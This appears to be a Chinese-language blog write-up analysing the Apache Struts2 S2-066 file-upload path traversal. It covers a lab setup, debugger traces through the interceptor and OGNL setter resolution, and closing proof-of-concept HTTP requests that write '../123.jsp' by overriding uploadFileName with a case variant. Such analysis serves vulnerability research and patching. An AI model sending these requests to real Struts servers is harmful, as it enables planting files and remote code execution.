Apache Struts2 文件上传分析(S2-066)
struts2也很久没出过漏洞了吧,这次爆的是和文件上传相关
相关的commit在https://github.com/apache/struts/commit/162e29fee9136f4bfd9b2376da2cbf590f9ea163
首先从commit可以看出,漏洞和大小写参数有关,后面会具体谈及
同时结合CVE描述我们可以知道,大概和路径穿越有关
1
|
An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution. Users are recommended to upgrade to versions Struts 2.5.33 or Struts 6.3.0.2 or greater to fix this issue.
|
环境
这里我以6.3.0为例搭建
12345 |
<dependency> <groupId>org.apache.struts</groupId> <artifactId>struts2-core</artifactId> <version>6.3.0</version></dependency> |
定义一个UploadAction
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758 |
package com.struts2;import com.opensymphony.xwork2.ActionSupport;import org.apache.commons.io.FileUtils;import org.apache.struts2.ServletActionContext;import java.io.*;public class UploadAction extends ActionSupport { private static final long serialVersionUID = 1L; private File upload; // 文件类型,为name属性值 + ContentType private String uploadContentType; // 文件名称,为name属性值 + FileName private String uploadFileName; public File getUpload() { return upload; } public void setUpload(File upload) { this.upload = upload; } public String getUploadContentType() { return uploadContentType; } public void setUploadContentType(String uploadContentType) { this.uploadContentType = uploadContentType; } public String getUploadFileName() { return uploadFileName; } public void setUploadFileName(String uploadFileName) { this.uploadFileName = uploadFileName; } public String doUpload() { String path = ServletActionContext.getServletContext().getRealPath("/")+"upload"; String realPath = path + File.separator +uploadFileName; try { FileUtils.copyFile(upload, new File(realPath)); } catch (Exception e) { e.printStackTrace(); } return SUCCESS; }} |
在struts.xml当中,通常默认配置下这个文件在项目路径的/WEB-INF/classes路径下
123456789101112 |
<struts> <package name="upload" extends="struts-default"> <action name="upload" class="com.struts2.UploadAction" method="doUpload"> <result name="success" type="">/index.jsp</result> </action> </package></struts> |
以及在web.xml当中配置好filter
12345678 |
<filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class></filter><filter-mapping> <filter-name>struts2</filter-name> <url-pattern>*.action</url-pattern></filter-mapping> |
分析
从文件上传的Action也可以看出,struts2当中,文件上传的过程主要涉及到两个重要参数,以我的环境命名为例upload以及uploadFileName
上面描述可知此漏洞为路径穿越,而我们知道Struts2本身是有一系列默认拦截器,这部分配置在struts-default.xml中,其中就包含了一个与文件上传相关的拦截器org.apache.struts2.interceptor.FileUploadInterceptor
我们先来测试一下文件上传
123456789101112131415 |
POST /upload.action Host: 127.0.0.1Accept: */*Accept-Encoding: gzip, deflateContent-Length: 188Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNContent-Disposition: form-data; name="Upload"; filename="../1.txt"Content-Type: text/plain1aaa--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN-- |
发现落地的文件名字变成了1.txt
我们简单来做个debug,看看文件上传的处理流程
首先在org.apache.struts2.interceptor.FileUploadInterceptor#intercept中
获取文件名通过multiWrapper.getFileNames做处理
最终是由org.apache.struts2.dispatcher.multipart.AbstractMultiPartRequest#getCanonicalName做文件名处理,以下是部分调试栈,有兴趣的可以自行debug
1234 |
getCanonicalName:162, AbstractMultiPartRequest (org.apache.struts2.dispatcher.multipart)getFileNames:265, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)getFileNames:159, MultiPartRequestWrapper (org.apache.struts2.dispatcher.multipart)intercept:279, FileUploadInterceptor (org.apache.struts2.interceptor) |
这部分代码很直白,拦截了路径穿越
123456789101112 |
protected String getCanonicalName(final String originalFileName) { String fileName = originalFileName; int forwardSlash = fileName.lastIndexOf('/'); int backwardSlash = fileName.lastIndexOf('\\'); if (forwardSlash != -1 && forwardSlash > backwardSlash) { fileName = fileName.substring(forwardSlash + 1); } else { fileName = fileName.substring(backwardSlash + 1); } return fileName; } |
继续回到FileUploadInterceptor当中,处理完文件后,会把一些信息保存到acceptedFiles/acceptedContentTypes/acceptedFileNames中,从下面的fileNameName也可以看出为什么我们的Action一定要那样命名上传的文件名
再往下将这些参数保存到了org.apache.struts2.dispatcher.HttpParameters对象当中
既然是保存到了HttpParameter参数中,结合Commit当中的一些讯息,接下来我们很容易有个思考,既然是HttpParameter,是不是存在其他传参的过程能够做变量覆盖
从上面的图片做深入分析,我们可以知道ac.getParameters()
获取到的HttpParameter对象是从上下文获取的
上下文的创建在org.apache.struts2.dispatcher.Dispatcher#serviceAction
在创建上下文的过程当中我们发现,调用了HttpParameters.create
将请求的参数保存到了当中
看到这里其实我们也就可以知道大概思路了,参数的保存既然在FileUploadInterceptor之前,那么变量覆盖就不存在了(存储结构为Map,key唯一),结合到commit当中的一些大小写,此时我们不难猜到如果我们将上传的文件名小写,那会不会在将参数绑定到Action对象的过程当中
而这部分处理过程就在com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept
里面调用了com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters
做参数绑定,这个过程老生常谈了,不懂得可以去百度了解了解这里不多谈了
当然这里还是需要多说一点,这个方法的调用是有顺序的,这和Map的存储结构有关
这里可以看到是Treemap
可以看到大写的会优先(Map结构)
踩坑
我第一次打的时候把最后一位大写了,但是发现没有调用到set方法
12345678910111213141516171819 |
POST /upload.action HTTP/1.1Host: 127.0.0.1Accept: */*Content-Length: 188Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNContent-Disposition: form-data; name="Upload"; filename="1.txt"Content-Type: text/plain1aaa--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNContent-Disposition: form-data; name="UPloadFileName"; Content-Type: text/plain1323.jsp--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN-- |
经过debug可以发现在ognl.OgnlRuntime#_getSetMethod
获取setter方法时调用了ognl.OgnlRuntime#getDeclaredMethods
做处理
省略垃圾时间吧,最终在ognl.OgnlRuntime#addIfAccessor
,可以看到必须满足ms.endsWith(baseName)
(这点很关键,也就是说你的Action的程序代码怎么写影响你怎么写参数)
12345678910111213141516 |
private static void addIfAccessor(List result, Method method, String baseName, boolean findSets){ final String ms = method.getName(); if (ms.endsWith(baseName)) { boolean isSet = false, isIs = false; if ((isSet = ms.startsWith(SET_PREFIX)) || ms.startsWith(GET_PREFIX) || (isIs = ms.startsWith(IS_PREFIX))) { int prefixLength = (isIs ? 2 : 3); if (isSet == findSets) { if (baseName.length() == (ms.length() - prefixLength)) { result.add(method); } } } } } |
1234567891011121314151617181920212223 |
部分调用栈如下addIfAccessor:2701, OgnlRuntime (ognl)collectAccessors:2686, OgnlRuntime (ognl)getDeclaredMethods:2653, OgnlRuntime (ognl)_getSetMethod:2915, OgnlRuntime (ognl)getSetMethod:2884, OgnlRuntime (ognl)hasSetMethod:2955, OgnlRuntime (ognl)hasSetProperty:2973, OgnlRuntime (ognl)setProperty:83, CompoundRootAccessor (com.opensymphony.xwork2.ognl.accessor)setProperty:3359, OgnlRuntime (ognl)setValueBody:134, ASTProperty (ognl)evaluateSetValueBody:220, SimpleNode (ognl)setValue:308, SimpleNode (ognl)setValue:829, Ognl (ognl)lambda$setValue$2:550, OgnlUtil (com.opensymphony.xwork2.ognl)execute:-1, 102405086 (com.opensymphony.xwork2.ognl.OgnlUtil$$Lambda$53)compileAndExecute:625, OgnlUtil (com.opensymphony.xwork2.ognl)setValue:543, OgnlUtil (com.opensymphony.xwork2.ognl)trySetValue:195, OgnlValueStack (com.opensymphony.xwork2.ognl)setValue:182, OgnlValueStack (com.opensymphony.xwork2.ognl)setParameter:166, OgnlValueStack (com.opensymphony.xwork2.ognl)setParameters:228, ParametersInterceptor (com.opensymphony.xwork2.interceptor).... |
而baseName其实也是有做了处理的(必须看),回到之前的getDeclaredMethods
方法,我们的属性名会被capitalizeBeanPropertyName
处理
做了很多分支判断,可以看到特殊支持了一些特殊方法的调用,但是其实前面的几个不能用,因为他们后面多了一些字符()
,在之前提到的endwith是不包括这些符号的
123456789101112131415161718192021222324252627282930 |
private static String capitalizeBeanPropertyName(String propertyName) { if (propertyName.length() == 1) { return propertyName.toUpperCase(); } // don't capitalize getters/setters if (propertyName.startsWith(GET_PREFIX) && propertyName.endsWith("()")) { if (Character.isUpperCase(propertyName.substring(3,4).charAt(0))) { return propertyName; } } if (propertyName.startsWith(SET_PREFIX) && propertyName.endsWith(")")) { if (Character.isUpperCase(propertyName.substring(3,4).charAt(0))) { return propertyName; } } if (propertyName.startsWith(IS_PREFIX) && propertyName.endsWith("()")) { if (Character.isUpperCase(propertyName.substring(2,3).charAt(0))) { return propertyName; } } char first = propertyName.charAt(0); char second = propertyName.charAt(1); if (Character.isLowerCase(first) && Character.isUpperCase(second)) { return propertyName; } else { char[] chars = propertyName.toCharArray(); chars[0] = Character.toUpperCase(chars[0]); return new String(chars); } } |
我们主要关注下面的部分,如果属性第一个字符小写第二个大写直接返回,否则返回时将第一个字母大写
123456789 |
char first = propertyName.charAt(0);char second = propertyName.charAt(1);if (Character.isLowerCase(first) && Character.isUpperCase(second)) { return propertyName;} else { char[] chars = propertyName.toCharArray(); chars[0] = Character.toUpperCase(chars[0]); return new String(chars);} |
在这里的例子当中我们需要调用com.struts2.UploadAction#setUploadFileName
因此也只能限制了我们的写法要么是UploadFileName
要么是uploadFileName
(前面提到的endwith+capitalizeBeanPropertyName处理)
最终构造
按照Map存储的调用顺序我们即可构造
1234567891011 |
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNContent-Disposition: form-data; name="Upload"; filename="1.txt"Content-Type: text/plain1aaa--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNContent-Disposition: form-data; name="uploadFileName"; Content-Type: text/plain../123.jsp--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN-- |
或者
123456789101112131415 |
POST /upload.action?uploadFileName=../1234.jsp HTTP/1.1Host: 127.0.0.1Accept: */*Accept-Encoding: gzip, deflateContent-Length: 188Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWNContent-Disposition: form-data; name="Upload"; filename="1.txt"Content-Type: text/plain1aaa--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN-- |
- source:y4tacker
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论